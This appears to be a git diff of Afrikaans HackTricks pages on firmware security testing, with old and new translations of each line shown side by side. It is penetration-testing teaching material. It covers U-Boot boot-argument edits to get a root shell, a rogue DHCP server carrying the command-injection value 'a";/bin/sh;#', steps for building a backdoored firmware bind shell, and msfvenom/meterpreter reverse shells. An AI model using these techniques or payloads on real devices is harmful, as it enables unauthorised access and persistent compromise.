Om 'n PoC vir geïdentifiseerde kwesbaarhede te ontwikkel, vereis 'n diep begrip van die teikenargitektuur en programmering in laervlak tale. Binary tydren beskermings in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
## Voorbereide Bedryfstelsels vir Firmware-analise
## Voorbereide Bedryfstelsels vir Firmware Analise
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf gekonfigureerde omgewings vir firmware-sekuriteitstoetsing, toegerus met nodige hulpmiddels.
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf-gekonfigureerde omgewings vir firmware sekuriteitstoetsing, toegerus met nodige gereedskap.
## Voorbereide bedryfstelsels vir Firmware-analise
## Voorbereide OS's om Firmware te analiseer
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help met die uitvoer van sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT)-toestelle. Dit bespaar baie tyd deur 'n vooraf gekonfigureerde omgewing met al die nodige hulpmiddels te voorsien.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsingsbedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met hulpmiddels vir firmware-sekuriteitstoetsing.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help om sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT) toestelle uit te voer. Dit bespaar jou baie tyd deur 'n vooraf-gekonfigureerde omgewing met al die nodige gereedskap te bied.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsing bedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met firmware sekuriteitstoetsing gereedskap.
## Kwesbare firmware om te oefen
## Kwetsbare firmware om te oefen
Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmwareprojekte as 'n beginpunt.
Om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware projekte as 'n beginpunt.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -246,20 +249,21 @@ Om te oefen om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Opleiding en Sertifisering
## Opleiding en Sertifikaat
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Die volgende stappe word aanbeveel vir die wysiging van toestelopstartkonfigurasies en opstartlaaiers soos U-boot:
Die volgende stappe word aanbeveel om toestel opstartkonfigurasies en bootloaders soos U-boot te wysig:
1. **Kry toegang tot die opstartlaaier se tolkshell**:
- Druk tydens opstart "0", spasie, of ander geïdentifiseerde "sielkodes" om toegang tot die opstartlaaier se tolkshell te verkry.
1. **Toegang tot Bootloader se Interpreter Shell**:
- Gedurende opstart, druk "0", spasie, of ander geïdentifiseerde "magiese kodes" om toegang te verkry tot die bootloader se interpreter shell.
2. **Wysig opstartargumente**:
- Voer die volgende opdragte uit om '`init=/bin/sh`' by die opstartargumente te voeg, wat die uitvoering van 'n skelopdrag moontlik maak:
2. **Wysig Boot Argumente**:
- Voer die volgende opdragte uit om '`init=/bin/sh`' by die boot argumente te voeg, wat die uitvoering van 'n shell opdrag toelaat:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -26,46 +27,47 @@ Die volgende stappe word aanbeveel vir die wysiging van toestelopstartkonfiguras
#boot
%%%
3. **Stel 'n TFTP-bediener op**:
- Stel 'n TFTP-bediener op om beelde oor 'n plaaslike netwerk te laai:
3. **Stel TFTP Bediening in**:
- Konfigureer 'n TFTP bediener om beelde oor 'n plaaslike netwerk te laai:
%%%
#setenv ipaddr 192.168.2.2 #plaaslike IP van die toestel
#setenv serverip 192.168.2.1 #TFTP-bediener IP
#setenv ipaddr 192.168.2.2 #lokale IP van die toestel
#setenv serverip 192.168.2.1 #TFTP bediener IP
#saveenv
#reset
#ping 192.168.2.1 #kontroleer netwerktoegang
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP-bediener
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP bediener
%%%
4. **Maak gebruik van `ubootwrite.py`**:
- Gebruik `ubootwrite.py` om die U-boot-beeld te skryf en 'n gewysigde firmware te stuur om root-toegang te verkry.
4. **Gebruik `ubootwrite.py`**:
- Gebruik `ubootwrite.py` om die U-boot beeld te skryf en 'n gewysigde firmware te druk om worteltoegang te verkry.
5. **Kontroleer foutopsporingsfunksies**:
- Verifieer of foutopsporingsfunksies soos oordrewe logboekinskrywings, die laai van willekeurige kerns, of die opstart vanaf onbetroubare bronne geaktiveer is.
5. **Kontroleer Debug Kenmerke**:
- Verifieer of debug kenmerke soos gedetailleerde logging, laai van arbitrêre kerne, of opstart vanaf onbetroubare bronne geaktiveer is.
6. **Versigtige hardeware-inmenging**:
- Wees versigtig wanneer jy een pen aan die grond verbind en interaksie hê met SPI- of NAND-flitskypleiers tydens die toestel se opstartvolgorde, veral voordat die kernel ontspan. Raadpleeg die NAND-flitskypleier se datablad voordat jy pennaaldjies kortsluit.
6. **Versigtigheid met Hardeware Interferensie**:
- Wees versigtig wanneer jy een pen aan grond verbind en met SPI of NAND flits skywe interaksie het tydens die toestel se opstartvolgorde, veral voordat die kern ontspan. Raadpleeg die NAND flits skyf se datasheet voordat jy penne kortsluit.
7. **Stel 'n skelm DHCP-bediener op**:
- Stel 'n skelm DHCP-bediener op met skadelike parameters vir 'n toestel om tydens 'n PXE-opstart in te neem. Maak gebruik van hulpmiddels soos Metasploit se (MSF) DHCP-hulpbediener. Wysig die 'FILENAME'-parameter met opdraginskrywings soos `'a";/bin/sh;#'` om insetvalidering vir toestelopstartprosedures te toets.
7. **Konfigureer Rogue DHCP Bediening**:
- Stel 'n rogue DHCP bediener op met kwaadwillige parameters vir 'n toestel om in te neem tydens 'n PXE opstart. Gebruik gereedskap soos Metasploit se (MSF) DHCP bystandbediener. Wysig die 'FILENAME' parameter met opdraginjektie opdragte soos `'a";/bin/sh;#'` om invoervalidasie vir toestel opstart prosedures te toets.
**Opmerking**: Die stappe wat fisieke interaksie met toestelpenne behels (*gemerk met asterisk) moet met uiterste versigtigheid benader word om skade aan die toestel te voorkom.
**Let wel**: Die stappe wat fisiese interaksie met toestel penne behels (*gemerk met asterisks) moet met uiterste versigtigheid benader word om skade aan die toestel te voorkom.
## Verwysings
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Firmware Integriteit
Die **aangepaste firmware en/of saamgestelde binaêre lêers kan geüpload word om integriteit of handtekeningverifikasie-foute uit te buit**. Die volgende stappe kan gevolg word vir die samestelling van 'n agterdeur-bindshell:
Die **aangepaste firmware en/of gecompileerde binêre kan opgelaai word om integriteit of handtekening verifikasiefoute te benut**. Die volgende stappe kan gevolg word vir backdoor bind shell compilering:
1. Die firmware kan onttrek word met behulp van firmware-mod-kit (FMK).
2. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
3. 'n Kruiskompilator kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
4. Die agterdeur kan gebou word met behulp van die kruiskompilator.
5. Die agterdeur kan gekopieer word na die onttrokke firmware se /usr/bin-gids.
6. Die toepaslike QEMU-binaêre lêer kan gekopieer word na die onttrokke firmware se rootfs.
7. Die agterdeur kan geëmuleer word met behulp van chroot en QEMU.
8. Die agterdeur kan benader word via netcat.
9. Die QEMU-binaêre lêer moet verwyder word uit die onttrokke firmware se rootfs.
10. Die gewysigde firmware kan verpak word met behulp van FMK.
11. Die agterdeur-firmware kan getoets word deur dit te emuleer met die firmware-analisehulpmiddel (FAT) en deur te verbind met die teiken-agterdeur-IP en -poort met behulp van netcat.
1. Die firmware kan onttrek word met firmware-mod-kit (FMK).
2. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
3. 'n Kruiskompiler kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
4. Die backdoor kan gebou word met die kruiskompiler.
5. Die backdoor kan na die onttrokken firmware /usr/bin gids gekopieer word.
6. Die toepaslike QEMU binêre kan na die onttrokken firmware rootfs gekopieer word.
7. Die backdoor kan geëmuleer word met behulp van chroot en QEMU.
8. Die backdoor kan via netcat toeganklik gemaak word.
9. Die QEMU binêre moet van die onttrokken firmware rootfs verwyder word.
10. Die gewysigde firmware kan herverpak word met behulp van FMK.
11. Die backdoored firmware kan getoets word deur dit te emuleer met firmware analise toolkit (FAT) en verbinding te maak met die teiken backdoor IP en poort met behulp van netcat.
As 'n root-skulp al verkry is deur middel van dinamiese analise, opstartlader-manipulasie of hardwaresekerheidstoetsing, kan vooraf saamgestelde skadelike binaêre lêers soos implante of omgekeerde skulpe uitgevoer word. Geoutomatiseerde vrag/implant-hulpmiddels soos die Metasploit-raamwerk en 'msfvenom' kan benut word met die volgende stappe:
As 'n root shell reeds verkry is deur dinamiese analise, bootloader manipulasie, of hardeware sekuriteitstoetsing, kan voorafgecompileerde kwaadwillige binêre soos implante of omgekeerde shells uitgevoer word. Geoutomatiseerde payload/implant gereedskap soos die Metasploit raamwerk en 'msfvenom' kan benut word met die volgende stappe:
1. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
2. Msfvenom kan gebruik word om die teiken-vrag, aanvaller-gashuis-IP, luisterpoortnommer, lêertipe, argitektuur, platform en die uitvoerlêer te spesifiseer.
3. Die vrag kan oorgedra word na die gekompromitteerde toestel en verseker word dat dit uitvoeringsregte het.
4. Metasploit kan voorberei word om inkomende versoekings te hanteer deur msfconsole te begin en die instellings te konfigureer volgens die vrag.
5. Die meterpreter-omgekeerde skulp kan uitgevoer word op die gekompromitteerde toestel.
6. Meterpreter-sessies kan gemonitor word soos hulle oopmaak.
7. Post-exploitasie-aktiwiteite kan uitgevoer word.
1. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
2. Msfvenom kan gebruik word om die teiken payload, aanvaller gasheer IP, luister poortnommer, lêertipe, argitektuur, platform, en die uitvoer lêer spesifiek aan te dui.
3. Die payload kan na die gecompromitteerde toestel oorgedra word en verseker word dat dit uitvoeringsregte het.
4. Metasploit kan voorberei word om inkomende versoeke te hanteer deur msfconsole te begin en die instellings volgens die payload te konfigureer.
5. Die meterpreter omgekeerde shell kan op die gecompromitteerde toestel uitgevoer word.
6. Meterpreter sessies kan gemonitor word soos hulle oopmaak.
7. Post-exploitatie aktiwiteite kan uitgevoer word.
Indien moontlik, kan kwesbaarhede binne opstartskripte uitgebuit word om volgehoue toegang tot 'n toestel oor herlaaie te verkry. Hierdie kwesbaarhede ontstaan wanneer opstartskripte verwys na, [simbolies skakel](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), of afhanklik is van kode wat in onbetroubare gemoniteerde liggings soos SD-kaarte en flitsvolumes wat gebruik word vir die stoor van data buite die wortel-lêersisteme.
As dit moontlik is, kan kwesbaarhede binne opstart skripte benut word om volgehoue toegang tot 'n toestel oor herlaai te verkry. Hierdie kwesbaarhede ontstaan wanneer opstart skripte verwys, [simbolies skakel](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), of afhanklik is van kode wat geleë is in onbetroubare gemonteerde plekke soos SD kaarte en flits volumes wat gebruik word om data buite wortel lêersisteme te stoor.
## Verwysings
* Vir verdere inligting, besoek [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* Vir verdere inligting kyk [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more